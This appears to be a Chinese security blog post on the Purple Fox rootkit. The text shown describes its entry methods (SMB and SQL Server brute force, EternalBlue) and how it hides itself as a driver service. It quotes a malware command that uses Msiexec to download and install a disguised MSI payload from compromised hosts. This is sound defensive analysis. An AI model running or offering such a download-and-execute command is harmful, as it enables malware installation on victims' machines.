木马病毒清除方式

最新推荐文章于 2024-06-23 20:26:48 发布

Sumarua

最新推荐文章于 2024-06-23 20:26:48 发布

阅读量3.8k

点赞数 17

分类专栏：应急响应 Web安全学习进阶笔记信息安全文章标签：安全木马病毒

本文链接：https://blog.csdn.net/weixin_43510203/article/details/125729255

版权

Web安全学习进阶笔记同时被 3 个专栏收录

109 篇文章 36 订阅 ¥59.90 ¥99.00

订阅专栏

信息安全

52 篇文章 2 订阅 ¥79.90 ¥99.00

订阅专栏

超级会员免费看

应急响应

8 篇文章 5 订阅

订阅专栏

本文介绍了紫狐Rootkit木马病毒的清除方法，包括通过安全模式启动、删除恶意DLL文件、清理注册表相关条目以及验证清除效果等步骤。

摘要由CSDN通过智能技术生成

木马病毒清除方式

紫狐（Purple Fox）Rootkit木马病毒，最早在2018年被网络安全人员发现，该恶意软件存在多种蠕虫化传播方式并使用驱动级维权方式，难清除是安全从业人员遇到最大的问题，在这里我们给大家提供一些入侵方式解读及清除方式。

入侵方式：

使用较为通用的SMB爆破、Sqlserver爆破、永恒之蓝等高危漏洞或爆破手段入侵。

执行方式：

创建一个恶意服务，然后使用Msiexec命令去公网上其他失陷地址中下载shellcode，形如：do Msiexec /i http://%i/08388E25.Png，下载的恶意软件通常是png后缀但实际为MSI格式文件，将shellcode加载到服务中后会将机器进行重启，从而将服务注册为Windows系统驱动，使服务做到隐藏效果（下图为现场取证时发现的隐藏服务，有意思的是可能由于程序的运行错误导致将一些正常服务也一并进行隐藏了），后续将使用SMB等入侵手段再次进行蠕虫。